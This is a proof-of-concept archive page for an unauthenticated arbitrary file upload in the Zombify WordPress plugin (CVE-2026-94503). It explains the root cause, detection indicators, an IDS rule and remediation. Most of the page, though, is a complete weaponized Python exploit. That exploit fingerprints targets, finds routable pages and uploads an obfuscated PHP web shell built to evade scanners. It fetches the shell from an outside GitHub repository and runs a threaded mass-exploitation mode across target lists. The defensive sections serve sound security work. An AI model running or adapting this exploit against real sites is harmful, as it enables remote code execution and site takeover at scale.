PoC Archive PoC Archive
CVE-2026-94503 category: web CVSS 10 (CRITICAL)
Unpatched

Zombify WordPress Plugin Unauthenticated Arbitrary File Upload (CVE-2026-94503)

Published: 2026-11-25 • Researcher: Wayang (Wayang1337) — PoC author; PX-lab — Zombify plugin vendor; Patchstack — advisory database

Target software PX-lab Zombify (WordPress plugin, slug zombify)
Affected versions Zombify through 1.7.7 (NVD description). NVD supplies no structured product/version range in the ingested data — See references
Status Weaponized
Severity Critical · CVSS 10
CVSS 10.0/10
Severity
Critical
CVE
CVE-2026-94503
Category
web
Affected product
PX-lab Zombify (WordPress plugin, slug zombify)
Affected versions
Zombify through 1.7.7 (NVD description). NVD supplies no structured product/version range in the ingested data — See references
Disclosed
2026-11-25
Patch status
Unpatched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-10-10
Author / ResearcherWayang (Wayang1337) — PoC author; PX-lab — Zombify plugin vendor; Patchstack — advisory database
CVE / AdvisoryCVE-2026-94503
Categoryweb
SeverityCritical
CVSS Score10.0 (NVD); the CVSS vector string is not included in the ingested worklist data — see NVD and the Patchstack advisory
StatusWeaponized
TagsCWE-434, arbitrary-file-upload, WordPress, Zombify, unauthenticated, RCE, web-shell, PHP, WAF-bypass, mass-exploitation
RelatedN/A

Affected Target

FieldValue
Software / SystemPX-lab Zombify (WordPress plugin, slug zombify)
Versions AffectedZombify through 1.7.7 (NVD description). NVD supplies no structured product/version range in the ingested data — See references
Language / PlatformPHP (WordPress plugin); the archived exploit is Python 3
Authentication RequiredNo
Network Access RequiredYes

Summary

Zombify is a WordPress plugin from PX-lab that exposes its video upload handler to unauthenticated visitors through the plugin’s public frontend controller. A guest who fails the create-page permission check is passed to a generic action dispatcher that trusts the action query parameter, so the upload method can be called with no login and no nonce. The resumable chunk upload writes the assembled file into the uploads directory before the media extension allowlist is evaluated and does not delete it when the check fails, which lets an attacker leave a PHP web shell on disk and execute it over HTTP. NVD rates the issue 10.0 and classifies it as CWE-434, unrestricted upload of a file with a dangerous type, affecting Zombify through 1.7.7.

Vulnerability Details

Root Cause

The plugin’s public frontend controller registers its “Post Create Page” rendering on the WordPress wp action. A guest fails the create-page permission check (zf_user_can_create()), and the controller falls through to BaseController::action() with an empty action parameter; that dispatcher reads $_GET['action'] and calls any public method whose name matches the supplied action. The video upload method actionZombify_video_upload() performs no is_user_logged_in() check and no nonce verification. Its resumable upload path assembles the received chunk into wp-content/uploads/YYYY/MM/<resumableFilename> before applying the mp4/mp3 extension allowlist, and when the extension check rejects the file it returns a JSON error without deleting the already-written file. The result is an unauthenticated arbitrary file write into a web-served directory (CWE-434).

Attack Vector

Remote, unauthenticated HTTP. The attacker needs a published page that the plugin routes for guests (supplied as page_id or pagename) and a target running Zombify through 1.7.7. The PoC first fingerprints the plugin and locates a routable page, then sends a multipart/form-data POST to /?action=zombify_video_upload&page_id=<id> with resumable-upload parameters that name a .php file; the file is written despite failing the extension check, and the attacker requests it back from the uploads path to execute it.

Impact

Remote code execution as the WordPress web-server user (for example www-data), demonstrated by the uploaded PHP web shell. A successful upload gives an attacker full control of the site: database credentials and wp-config.php secrets, user data, file read/write, and a persistence foothold on the host. Because the vulnerable action is reachable pre-authentication, any internet-exposed WordPress instance with the plugin active and a routable page is at risk.

Environment / Lab Setup

Output
OS:          Linux (any LAMP/LEMP stack, or an official WordPress Docker image)
Target:      WordPress with Zombify <= 1.7.7 active and a published page that the
             plugin routes as its "Post Create Page"; plugin files served from
             /wp-content/plugins/zombify/
Attacker:    Python 3.8+ with the requests library
Tools:       curl, Python 3, requests, Burp Suite (optional)

The upstream README contains only a FOFA fingerprint dork (body="wp-content/plugins/zombify"), not lab instructions. The setup below is derived from the advisory and from the probes the PoC itself performs; use a disposable instance you own.

Setup Steps

Shell script
1
2
3
4
5
6
wp plugin install zombify --version=1.7.7 --activate

wp post create --post_type=page --post_status=publish --post_title='Create' --porcelain

curl -s http://target/wp-content/plugins/zombify/zombify.php
python3 poc.py -u http://target

Proof of Concept

Step-by-Step Reproduction

  1. Fingerprint the plugin — request /wp-content/plugins/zombify/zombify.php; the response body No direct script access (or HTTP 200/403) indicates Zombify is installed.
  2. Find a routable page — list published page IDs through /wp-json/wp/v2/pages?per_page=100&_fields=id (or /?rest_route=/wp/v2/pages), falling back to wp-sitemap.xml slugs and a bounded page_id brute force. For each candidate the PoC checks that a plain GET returns 200 and that a GET with action=zombify_video_upload returns 404, which distinguishes the dispatcher path from a WordPress 404.
  3. Upload the payload — send a multipart POST to /?action=zombify_video_upload&page_id=<id> with resumableFilename=<name>.php, resumableIdentifier, resumableChunkNumber=1 and the payload as the file part. The plugin writes the chunk to wp-content/uploads/YYYY/MM/<name>.php before the extension check and leaves it there after rejecting it.
  4. Verify — request /wp-content/uploads/YYYY/MM/<name>.php (the PoC also tries the flat uploads path and prior months for clock skew); a 200 response containing the payload’s marker and larger than 50 KB confirms the upload.
  5. Interact — the uploaded PHP web shell is now executable; the upstream payload is an eval wrapper that decodes its real source in memory to avoid on-disk content-scanner signatures.

Exploit Code

See poc.py for the full exploit (fingerprinting, page discovery, upload, verification, single-target and mass modes). The upstream README is in upstream-README.md.

Shell script
1
2
3
4
5
python3 poc.py -u http://target

python3 poc.py -u http://target --probe-only

python3 poc.py -f targets.txt -o out.csv --threads 10

The core upload request, reduced from exploit():

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import io, requests

base = "http://target"
data = {
    "resumableFilename": "bp123456.php",
    "resumableChunkNumber": "1",
    "resumableChunkSize": str(len(payload)),
    "resumableTotalSize": str(len(payload)),
    "resumableTotalChunks": "1",
    "resumableIdentifier": "zf<random>",
    "unid": "zf<random>",
    "field_path": "video",
}
requests.post(base + "/",
              params={"action": "zombify_video_upload", "page_id": 42},
              data=data,
              files={"file": ("bp123456.php", io.BytesIO(payload), "application/octet-stream")})

Expected Output

Output
1
2
3
4
payload: <source> (172319 bytes) -> upload <n> bytes (eval wrapper)
[VULNERABLE -> RCE] http://target page=page_id=<id> shell=http://target/wp-content/uploads/2026/11/bpNNNNNN.php

1/1 vulnerable

A probe-only run prints [VULNERABLE (probe hit, not exploited)] with shell= empty. Other statuses are zombify not found, route inactive (create page not found / plugin inactive), probe hit but payload not verified, and unreachable: <ExceptionType>.

Detection & Indicators of Compromise

  • Unauthenticated POST/GET requests to any WordPress page URL carrying action=zombify_video_upload, especially alongside resumable-upload parameters (resumableFilename, resumableIdentifier, resumableChunkNumber, unid, field_path).
  • Requests for /wp-content/plugins/zombify/zombify.php (fingerprinting probe) from clients that then enumerate /wp-json/wp/v2/pages.
  • Page enumeration through the REST API immediately followed by repeated 404 responses to requests that add action=zombify_video_upload (the PoC’s route probe).
  • New .php files appearing under wp-content/uploads/YYYY/MM/ or the uploads root, particularly names matching bp<digits>.php; PHP should never be stored there on a healthy site.
  • Uploaded files containing obfuscated PHP: eval, base64_decode, gzuncompress, strrev-reversed function names, or a zlib/base64 blob evaluated in memory.
  • Web-server 200 responses for /wp-content/uploads/.../*.php, and anomalous POST bodies with multipart/form-data naming a .php resumable filename.
Output
1
2
3
4
5
GET  /wp-content/plugins/zombify/zombify.php HTTP/1.1 200
GET  /wp-json/wp/v2/pages?per_page=100&_fields=id HTTP/1.1 200
GET  /?page_id=42&action=zombify_video_upload&resumableFilename=zf.php HTTP/1.1 404
POST /?page_id=42&action=zombify_video_upload HTTP/1.1 200
GET  /wp-content/uploads/2026/11/bp123456.php HTTP/1.1 200

SIEM / IDS rule (example):

Output
1
2
3
alert http any any -> any any (msg:"CVE-2026-94503 Zombify unauth upload attempt"; \
  content:"action=zombify_video_upload"; http_uri; \
  content:".php"; http_client_body; sid:90094503;)

Remediation

ActionDetail
PatchUpgrade Zombify past 1.7.7 to the current fixed release (see the NVD and Patchstack references for the fixed version). If no fixed release is available for your version, remove the plugin entirely.
WorkaroundDeactivate and uninstall the plugin if the site does not depend on it; otherwise block requests whose query string contains action=zombify_video_upload at the WAF or reverse proxy, and deny direct access to wp-content/plugins/zombify/.
Config HardeningDeny PHP execution inside wp-content/uploads (for example php_admin_flag engine off / location ~* ^/wp-content/uploads/.*\.php$ { deny all; }), run the web user with least privilege, and monitor the uploads tree for new PHP files.

References

Notes

Auto-ingested from https://github.com/Wayang1337/CVE-2026-94503 on 2026-11-25.

Review verdict: this is a real exploit, not a detector. poc.py fingerprints the plugin, locates a routable page, uploads a PHP payload through the unauthenticated actionZombify_video_upload action, and verifies RCE by retrieving the uploaded file, so it was ingested as Weaponized. It also ships a mass mode (target file, thread pool, live CSV), which must only be pointed at systems you own or have written authorization to test; the FOFA dork in the upstream README is reconnaissance guidance, not a lab setup.

Limitations: the actual PHP web shell (bp2.php, 172,319 bytes) is not bundled with the repository. The script downloads it at runtime from a third-party personal GitHub repository (harapanroleplay/Official-personal) and its eval-wrapper layout is hardcoded for that exact payload size, so successful RCE depends on an external artifact; a different payload is uploaded raw. Reproduction also requires a published page that routes through the plugin and an uploads directory served by the web server. The upstream lab was never independently re-verified here, and the exploit was not executed during ingestion.

License status: the repository contains no LICENSE file (only README.md and poc.py); the code is archived with attribution for authorized research only. Worklist context: CVSS 10.0, EPSS 0.00522, not listed in CISA KEV at time of ingest. Upstream last changed 2026-10-10.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/Wayang1337/CVE-2026-94503 (see README for attribution/license)
"""CVE-2026-94503 - Zombify <= 1.7.7 Unauthenticated Arbitrary File Upload -> RCE (mass PoC)

Root cause (zombify/controllers/public_frontend_controller.php):
  add_filter('wp', zombify_public_frontend_page_func) runs on the "Post Create Page".
  Guest fails zf_user_can_create() -> controller("", "permissiondenied") ->
  BaseController::action() with $action_param == '' reads $_GET['action'] and
  dispatches ANY public method, e.g. actionZombify_video_upload():
    - no is_user_logged_in(), no nonce
    - chunk assembled to wp-content/uploads/YYYY/MM/<resumableFilename> BEFORE ext check
    - ext check (mp4/mp3 only) fails -> JSON error, file NOT deleted -> payload stays.

Payload pipeline (WAF bypass): hosts with content scanners delete a raw bp2.php
(signature: eval(base64_decode...), file_put_contents+base64_decode...) within
seconds of landing. So we upload an EVAL WRAPPER: zlib+base64 blob, function
names strrev-obfuscated, decoded and eval()'d in memory -> the raw bp2 source
never persists on disk as PHP.

Usage:
  python3 mass_poc.py -u http://target          # single, full exploit
  python3 mass_poc.py -f targets.txt -o out.csv # mass, CSV flushed live per result
  options: --threads 10, --timeout 30, --no-ssl, --probe-only, --shell-name,
           --payload, --payload-url, --brute
"""
import argparse, csv, io, os, random, string, sys, time, datetime, zlib, base64
import xml.etree.ElementTree as ET
import requests
from concurrent.futures import ThreadPoolExecutor, as_completed

DEFAULT_PAYLOAD_URL = "https://github.com/harapanroleplay/Official-personal/raw/refs/heads/main/bp2.php"
HERE = os.path.dirname(os.path.abspath(__file__))
BP2_SIZE = 172319
VERIFY_STRING = b"wpAdminModal"          # unique marker in bp2.php HTML tail
VERIFY_MIN_BYTES = 50000
requests.packages.urllib3.disable_warnings()


def norm(base):
    base = base.strip().rstrip("/")
    if not base.startswith(("http://", "https://")):
        base = "http://" + base
    return base


def load_payload(args):
    """Local file wins, else cached copy next to script, else download once."""
    if args.payload:
        if not os.path.exists(args.payload):
            sys.exit("payload not found: %s" % args.payload)
        with open(args.payload, "rb") as fh:
            return fh.read(), args.payload
    cache = os.path.join(HERE, "bp2.php")
    if os.path.exists(cache):
        with open(cache, "rb") as fh:
            return fh.read(), cache
    r = requests.get(args.payload_url, timeout=args.timeout, verify=not args.insecure)
    r.raise_for_status()
    with open(cache, "wb") as fh:
        fh.write(r.content)
    return r.content, args.payload_url


def _php_single_quote(b):
    return b.replace(b"\\", b"\\\\").replace(b"'", b"\\'")


def build_wrapper(payload):
    """Re-emit payload as PHP statements + strrev-obfuscated
    gzuncompress/base64_decode + eval($f). Uploaded file never contains scanner
    signatures; decoded source only exists in memory during eval.
    ponytail: layout offsets hardcode for bp2 (jpeg@18, code@49436-147163, html tail);
    other sizes -> raw upload passthrough."""
    if len(payload) != BP2_SIZE:
        return payload
    inner = (b"echo '" + _php_single_quote(payload[18:49430]) + b"';\n"
             + payload[49436:147163] + b"\n"
             + b"echo '" + _php_single_quote(payload[147166:]) + b"';")
    enc = base64.b64encode(zlib.compress(inner, 9)).decode()
    return ('<?php $a="%s";$b=strrev("edoced_46esab");$c=strrev("sserpmocnuzg");'
            '$f=$c($b($a));eval($f);' % enc).encode()


def find_pages(base, s, t):
    """List page IDs via REST (pretty permalinks + plain fallback)."""
    for path in ("/wp-json/wp/v2/pages?per_page=100&_fields=id",
                 "/?rest_route=/wp/v2/pages&per_page=100&_fields=id"):
        try:
            r = s.get(base + path, timeout=t, allow_redirects=True)
            if r.status_code == 200:
                ids = [p.get("id") for p in r.json() if isinstance(p, dict) and p.get("id")]
                if ids:
                    return ids
        except Exception:
            continue
    return None  # REST dead -> sitemap/brute fallbacks


def probe(base, qparams, s, t):
    """Two-step to avoid WP 404 false positives (missing page is 404 too):
    1) plain GET must be 200 (page exists & published)
    2) GET with action must be 404 (only actionZombify_video_upload emits 404)
    """
    try:
        r1 = s.get(base + "/", params=dict(qparams), timeout=t, allow_redirects=True)
        if r1.status_code != 200:
            return False
        q = {"action": "zombify_video_upload", "resumableIdentifier": "zfprobe",
             "resumableFilename": "zf.php", "resumableChunkNumber": "1"}
        q.update(qparams)
        r2 = s.get(base + "/", params=q, timeout=t, allow_redirects=True)
        return r2.status_code == 404
    except Exception:
        return False


def _sitemap_page_urls(base, s, t):
    ns = {"s": "http://www.sitemaps.org/schemas/sitemap/0.9"}
    for sm in ("/wp-sitemap.xml", "/sitemap.xml"):
        try:
            r = s.get(base + sm, timeout=t)
            if r.status_code != 200:
                continue
            root = ET.fromstring(r.content)
            urls = [e.text for e in root.findall(".//s:url/loc", ns) if e.text]
            if not urls:  # index: open child sitemaps that look like pages
                for loc in [e.text for e in root.findall(".//s:sitemap/loc", ns) if e.text]:
                    if "page" not in loc:
                        continue
                    r2 = s.get(loc, timeout=t)
                    if r2.status_code == 200:
                        urls += [e.text for e in ET.fromstring(r2.content).findall(".//s:url/loc", ns) if e.text]
            if urls:
                return urls
        except Exception:
            continue
    return []


def find_create_page(base, s, args):
    t = args.timeout
    # 1) REST page ids (authoritative for published pages)
    pages = find_pages(base, s, t)
    if pages:
        for pid in pages:
            if probe(base, {"page_id": pid}, s, t):
                return "page_id=%d" % pid
        # published pages exhausted -> try sitemap slugs (?pagename= also passes is_page())
        for u in _sitemap_page_urls(base, s, t):
            slug = u.rstrip("/").split("/")[-1]
            if slug and probe(base, {"pagename": slug}, s, t):
                return "pagename=%s" % slug
        # unpublished create page can't route for guests anyway -> honest "inactive"
        return None
    # 2) REST dead -> sitemap slugs, then bounded page_id brute
    for u in _sitemap_page_urls(base, s, t):
        slug = u.rstrip("/").split("/")[-1]
        if slug and probe(base, {"pagename": slug}, s, t):
            return "pagename=%s" % slug
    for pid in range(1, args.brute + 1):
        if probe(base, {"page_id": pid}, s, t):
            return "page_id=%d" % pid
    return None


def plugin_fingerprint(base, s, t):
    """Zombify has no readme.txt; direct PHP access dies with known string."""
    try:
        r = s.get(base + "/wp-content/plugins/zombify/zombify.php", timeout=t)
        if "No direct script access" in r.text:
            return "present"
        if r.status_code in (200, 403):
            return "maybe"
    except Exception:
        pass
    return "absent"


def exploit(base, page_ref, shell_name, upload_bytes, s, t):
    ident = "zf" + "".join(random.choices(string.hexdigits.lower() + string.digits, k=16))
    data = {
        "resumableFilename": shell_name,
        "resumableChunkNumber": "1",
        "resumableChunkSize": str(len(upload_bytes)),
        "resumableTotalSize": str(len(upload_bytes)),
        "resumableTotalChunks": "1",
        "resumableIdentifier": ident,
        "unid": ident,
        "field_path": "video",
    }
    key, val = page_ref.split("=", 1)
    page_param = {key: int(val) if val.isdigit() else val}
    try:
        s.post(base + "/",
               params={"action": "zombify_video_upload", **page_param},
               data=data,
               files={"file": (shell_name, io.BytesIO(upload_bytes), "application/octet-stream")},
               timeout=max(t, 60), allow_redirects=True)
    except Exception:
        return None

    # verify: wrapper lands in uploads/YYYY/MM/ (server clock) or flat (yearmonth off)
    now = datetime.datetime.now(datetime.timezone.utc)
    candidates = [f"{base}/wp-content/uploads/{shell_name}"]
    for i in range(4):
        d = now - datetime.timedelta(days=31 * i)
        candidates.append(f"{base}/wp-content/uploads/{d.year}/{d.month:02d}/{shell_name}")
    for attempt in range(3):
        for url in candidates:
            try:
                r = s.get(url, timeout=max(t, 30))
                if r.status_code == 200 and VERIFY_STRING in r.content and len(r.content) > VERIFY_MIN_BYTES:
                    return url
            except Exception:
                continue
        time.sleep(2)
    return None


def run_one(target, args, upload_bytes):
    base = norm(target)
    out = {"target": base, "plugin": "", "page": "", "shell": "", "status": ""}
    s = requests.Session()
    s.headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) CVE-2026-94503-PoC"
    s.verify = not args.insecure
    t = args.timeout
    try:
        s.get(base, timeout=t, allow_redirects=True)
    except Exception as e:
        out["status"] = "unreachable: %s" % type(e).__name__
        return out

    out["plugin"] = plugin_fingerprint(base, s, t)
    if out["plugin"] == "absent":
        out["status"] = "zombify not found"
        return out

    ref = find_create_page(base, s, args)
    if not ref:
        out["status"] = "route inactive (create page not found / plugin inactive)"
        return out
    out["page"] = ref

    if args.probe_only:
        out["status"] = "VULNERABLE (probe hit, not exploited)"
        return out

    shell = args.shell_name or ("bp%d.php" % random.randint(100000, 999999))
    url = exploit(base, ref, shell, upload_bytes, s, t)
    if url:
        out["shell"] = url
        out["status"] = "VULNERABLE -> RCE"
    else:
        out["status"] = "probe hit but payload not verified"
    return out


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-94503 Zombify unauth upload mass PoC")
    ap.add_argument("-u", "--url", help="single target base URL")
    ap.add_argument("-f", "--file", help="file with one target base URL per line")
    ap.add_argument("-o", "--out", help="CSV output path (written live, one row per result)")
    ap.add_argument("--threads", type=int, default=10)
    ap.add_argument("--timeout", type=int, default=30, help="per-request timeout seconds")
    ap.add_argument("--brute", type=int, default=600, help="page_id brute cap when REST is dead")
    ap.add_argument("--shell-name", help="fixed payload filename (default random bpNNNNNN.php)")
    ap.add_argument("--payload", help="local payload file (default: cached bp2.php / download)")
    ap.add_argument("--payload-url", default=DEFAULT_PAYLOAD_URL)
    ap.add_argument("--probe-only", action="store_true", help="detect only, no payload upload")
    ap.add_argument("--insecure", "--no-ssl", dest="insecure", action="store_true",
                    help="skip TLS verify (alias: --no-ssl)")
    args = ap.parse_args()

    targets = []
    if args.url:
        targets.append(args.url)
    if args.file:
        with open(args.file) as fh:
            targets += [l.strip() for l in fh if l.strip() and not l.startswith("#")]
    if not targets:
        ap.error("need -u or -f")

    payload, src = load_payload(args)
    upload_bytes = build_wrapper(payload)
    print("payload: %s (%d bytes) -> upload %d bytes (eval wrapper)"
          % (src, len(payload), len(upload_bytes)))

    # live CSV: header up front, one flushed row per completed result
    csv_writer = csv_fh = None
    if args.out:
        csv_fh = open(args.out, "w", newline="")
        csv_writer = csv.DictWriter(csv_fh, fieldnames=["target", "plugin", "page", "shell", "status"])
        csv_writer.writeheader()
        csv_fh.flush()

    done = vuln = 0
    with ThreadPoolExecutor(max_workers=args.threads) as ex:
        futs = {ex.submit(run_one, t2, args, upload_bytes): t2 for t2 in targets}
        for fut in as_completed(futs):
            r = fut.result()
            done += 1
            if r["status"].startswith("VULNERABLE"):
                vuln += 1
            print("[%(status)s] %(target)s page=%(page)s shell=%(shell)s" % r, flush=True)
            if csv_writer:
                csv_writer.writerow(r)
                csv_fh.flush()

    if csv_fh:
        csv_fh.close()
    print("\n%d/%d vulnerable" % (vuln, done))
    if args.out:
        print("csv: %s" % args.out)


if __name__ == "__main__":
    sys.exit(main())